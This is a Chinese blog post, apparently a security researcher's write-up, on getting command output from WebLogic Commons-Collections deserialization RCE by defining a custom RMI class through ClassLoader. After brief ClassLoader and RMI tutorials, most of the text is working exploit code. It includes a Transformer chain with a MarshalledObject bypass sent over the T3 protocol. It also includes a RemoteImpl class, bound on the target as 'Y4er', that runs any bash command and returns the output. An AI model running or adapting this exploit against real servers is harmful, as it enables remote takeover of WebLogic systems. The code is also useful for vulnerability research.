最近在研究weblogic，复现了几个CVE执行命令都没有回显，Google了一下，发现可以通过RMI来解决weblogic反序列化RCE没有命令执行结果回显，先看下基础知识。
Java是编译型语言，所有的Java代码都需要被编译成字节码来让JVM执行。Java类初始化时会调用 java.lang.ClassLoader 加载类字节码，ClassLoader会调用defineClass方法来创建一个 java.lang.Class 类实例。
package com.test.ClassLoader;
public class HelloWorld {
public static void main(String[] args) {
System.out.println("hello");
}
}
package com.test.ClassLoader;
import java.io.*;
public class ClassLoaderMain {
public static void main(String[] args) {
byte[] bs = getBytesByFile("E:\\work\\code\\java\\ClassLoaderTest\\out\\production\\ClassLoaderTest\\com\\test\\ClassLoader\\HelloWorld.class");
for (int i = 0; i < bs.length; i++) {
System.out.print(bs[i]+",");
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
try {
Class.forName("com.test.ClassLoader.HelloWorld");
HelloWorld.test();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
try {
ClassLoaderMain.class.getClassLoader().loadClass("com.test.ClassLoader.HelloWorld");
HelloWorld.test();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
如果classpath中不存在你想要的类，我们可以用字节码重写ClassLoader类的findClass方法，当找不到这个类时，调用defineClass方法的时候传入自己类的字节码的方式来向JVM中定义一个类。
package com.test.ClassLoader;
public class HelloWorld {
public static void main(String[] args) {
System.out.println("Hello");
}
public static void test(){
System.out.println("test");
}
}
package com.test.ClassLoader;
import java.lang.reflect.Method;
public class MyClassLoader extends ClassLoader {
private static String myClassName = "com.test.ClassLoader.HelloWorld";
private static byte[] bs = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 52, 0, 36, 10, 0, 7, 0, 22, 9, 0, 23, 0, 24, 8, 0, 25, 10, 0, 26, 0, 27, 8, 0, 19, 7, 0, 28, 7, 0, 29, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 33, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 116, 101, 115, 116, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 15, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 8, 0, 9, 7, 0, 30, 12, 0, 31, 0, 32, 1, 0, 5, 72, 101, 108, 108, 111, 7, 0, 33, 12, 0, 34, 0, 35, 1, 0, 31, 99, 111, 109, 47, 116, 101, 115, 116, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 6, 0, 7, 0, 0, 0, 0, 0, 3, 0, 1, 0, 8, 0, 9, 0, 1, 0, 10, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 13, 0, 14, 0, 0, 0, 9, 0, 15, 0, 16, 0, 1, 0, 10, 0, 0, 0, 55, 0, 2, 0, 1, 0, 0, 0, 9, -78, 0, 2, 18, 3, -74, 0, 4, -79, 0, 0, 0, 2, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 8, 0, 6, 0, 12, 0, 0, 0, 12, 0, 1, 0, 0, 0, 9, 0, 17, 0, 18, 0, 0, 0, 9, 0, 19, 0, 9, 0, 1, 0, 10, 0, 0, 0, 37, 0, 2, 0, 0, 0, 0, 0, 9, -78, 0, 2, 18, 5, -74, 0, 4, -79, 0, 0, 0, 1, 0, 11, 0, 0, 0, 10, 0, 2, 0, 0, 0, 8, 0, 8, 0, 9, 0, 1, 0, 20, 0, 0, 0, 2, 0, 21,
};
public static void main(String[] args) {
try {
MyClassLoader loader = new MyClassLoader();
Class helloClass = loader.loadClass(myClassName);
Object obj = helloClass.newInstance();
Method method = obj.getClass().getMethod("test");
method.invoke(null);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name == myClassName) {
System.out.println("加载" + name + "类");
return defineClass(myClassName, bs, 0, bs.length);
}
return super.findClass(name);
}
}
RMI(Remote Method Invocation)即Java远程方法调用，RMI用于构建分布式应用程序，RMI实现了Java程序之间跨JVM的远程通信。一个RMI过程有以下三个参与者：
package com.test.rmi;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
protected RemoteHelloWorld() throws RemoteException {
super();
}
@Override
public String hello() throws RemoteException {
System.out.println("call hello()");
return "helloworld";
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
package com.test.Train;
import com.test.rmi.RMIServer;
import java.rmi.Naming;
public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://127.0.0.1:1099/Hello");
String res = hello.hello();
System.out.println(res);
}
}
到目前为止，我们知道可以通过ClassLoader类和字节码来定义我们自己的类，也知道可以通过RMI来调用远程服务器的方法。那么在weblogic之中，RMI有什么妙用？
之前写的几篇关于Weblogic的反序列化RCE因为没有回显结果，都是通过curl或者dnslog来验证的，而看了上文之后，我们可以通过common-collection反序列化调用ClassLoader，通过字节码来自定义一个RMI接口类，在类实现的方法中返回命令执行的结果。
因为ClassLoader是一个abstract，所以我们只能从他的子类中寻找defineClass()，idea快捷键CTRL ALT B 或者 CTRL+H 可以寻找子类，我找到了以下几个
注意我们要找的是interface，并且我们要返回命令执行的结果，所以方法的返回类型应该为String，并且方法必须抛出 java.rmi.RemoteException 异常。
package com.test.payload;
import weblogic.cluster.singleton.ClusterMasterRemote;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.List;
public class RemoteImpl implements ClusterMasterRemote {
public static void main(String[] args) {
RemoteImpl remote = new RemoteImpl();
try {
Context context = new InitialContext();
context.rebind("Y4er",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void setServerLocation(String cmd, String args) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<String>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
最后一个问题就是common-collection的transform[]构造的问题，我们要通过反射的形式调用DefiningClassLoader的defineClass()去定义我们自己的类，然后还是反射调用自己类的main方法。也就是如下。
// common-collection1 构造transformers 定义自己的RMI接口
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new ConstantTransformer(new HashSet())};
package com.test;
import com.supeream.serial.Reflections;
import com.supeream.serial.SerialDataGenerator;
import com.supeream.serial.Serializables;
import com.supeream.ssl.WeblogicTrustManager;
import com.supeream.weblogic.T3ProtocolOperation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.mozilla.classfile.DefiningClassLoader;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.corba.utils.MarshalledObject;
import weblogic.jndi.Environment;
import javax.naming.Context;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Main {
private static String host = "172.16.2.129";
private static String port = "7001";
private static final String classname = "com.test.payload.RemoteImpl";
private static final byte[] bs = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 50, 0, -116, 10, 0, 32, 0, 83, 7, 0, 84, 10, 0, 2, 0, 83, 7, 0, 85, 10, 0, 4, 0, 83, 8, 0, 86, 11, 0, 87, 0, 88, 10, 0, 2, 0, 89, 7, 0, 90, 10, 0, 9, 0, 91, 7, 0, 92, 10, 0, 11, 0, 83, 8, 0, 93, 11, 0, 94, 0, 95, 8, 0, 96, 7, 0, 97, 10, 0, 16, 0, 98, 10, 0, 16, 0, 99, 10, 0, 16, 0, 100, 7, 0, 101, 7, 0, 102, 10, 0, 103, 0, 104, 10, 0, 21, 0, 105, 10, 0, 20, 0, 106, 7, 0, 107, 10, 0, 25, 0, 83, 10, 0, 20, 0, 108, 10, 0, 25, 0, 109, 8, 0, 110, 10, 0, 25, 0, 111, 10, 0, 9, 0, 112, 7, 0, 113, 7, 0, 114, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 29, 76, 99, 111, 109, 47, 116, 101, 115, 116, 47, 112, 97, 121, 108, 111, 97, 100, 47, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 59, 1, 0, 4, 109, 97, 105, 110, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 7, 99, 111, 110, 116, 101, 120, 116, 1, 0, 22, 76, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 67, 111, 110, 116, 101, 120, 116, 59, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 4, 97, 114, 103, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 114, 101, 109, 111, 116, 101, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 48, 7, 0, 84, 7, 0, 90, 1, 0, 17, 115, 101, 116, 83, 101, 114, 118, 101, 114, 76, 111, 99, 97, 116, 105, 111, 110, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 115, 1, 0, 17, 103, 101, 116, 83, 101, 114, 118, 101, 114, 76, 111, 99, 97, 116, 105, 111, 110, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 16, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 59, 1, 0, 14, 112, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 1, 0, 26, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 4, 112, 114, 111, 99, 1, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 2, 98, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 2, 115, 98, 1, 0, 24, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 108, 105, 110, 101, 1, 0, 22, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 121, 112, 101, 84, 97, 98, 108, 101, 1, 0, 36, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 76, 105, 115, 116, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 7, 0, 116, 7, 0, 117, 7, 0, 97, 7, 0, 118, 7, 0, 101, 7, 0, 107, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 36, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 46, 106, 97, 118, 97, 32, 102, 114, 111, 109, 32, 73, 110, 112, 117, 116, 70, 105, 108, 101, 79, 98, 106, 101, 99, 116, 12, 0, 34, 0, 35, 1, 0, 27, 99, 111, 109, 47, 116, 101, 115, 116, 47, 112, 97, 121, 108, 111, 97, 100, 47, 82, 101, 109, 111, 116, 101, 73, 109, 112, 108, 1, 0, 27, 106, 97, 118, 97, 120, 47, 110, 97, 109, 105, 110, 103, 47, 73, 110, 105, 116, 105, 97, 108, 67, 111, 110, 116, 101, 120, 116, 1, 0, 4, 89, 52, 101, 114, 7, 0, 119, 12, 0, 120, 0, 121, 12, 0, 60, 0, 61, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 122, 0, 35, 1, 0, 19, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 65, 114, 114, 97, 121, 76, 105, 115, 116, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 7, 0, 117, 12, 0, 123, 0, 124, 1, 0, 2, 45, 99, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 12, 0, 34, 0, 125, 12, 0, 126, 0, 127, 12, 0, -128, 0, -127, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 7, 0, 118, 12, 0, -126, 0, -125, 12, 0, 34, 0, -124, 12, 0, 34, 0, -123, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 12, 0, -122, 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};
public static void main(String[] args) {
try {
String url = "t3://" + host + ":" + port;
// 安装RMI实例
invokeRMI(classname, bs);
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
environment.setSSLClientTrustManager(new WeblogicTrustManager());
Context context = environment.getInitialContext();
ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Y4er");
// 调用RMI实例执行命令
String res = remote.getServerLocation("ifconfig");
System.out.println(res);
} catch (Exception e) {
e.printStackTrace();
}
}
private static void invokeRMI(String className, byte[] clsData) throws Exception {
// common-collection1 构造transformers 定义自己的RMI接口
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(new HashSet())};
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
InvocationHandler handler = (InvocationHandler) Reflections
.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, lazyMap);
final Map mapProxy = Map.class
.cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
new Class[]{Map.class}, handler));
handler = (InvocationHandler) Reflections.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, mapProxy);
// 序列化数据 MarshalledObject绕过
Object obj = new MarshalledObject(handler);
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
byte[] payload = out.toByteArray();
// t3发送
T3ProtocolOperation.send(host, port, payload);
}
}
weblogic是一个体型庞大的中间件，而common-collection反序列化能做的东西太多了，灵活运用反射来调用weblogic的各种内置类，可以达到你想要的任何目的。在写这篇文章的时候，很多东西都是我之前没有接触过的，理解起来很难，一点一点的学习、吃透这个东西，还是很有成就感的。学习是一个很愉快的过程，但进步不是，共勉吧。
文章来源: https://y4er.com/post/weblogic-uses-classloader-and-rmi-to-display-command-execution-results/
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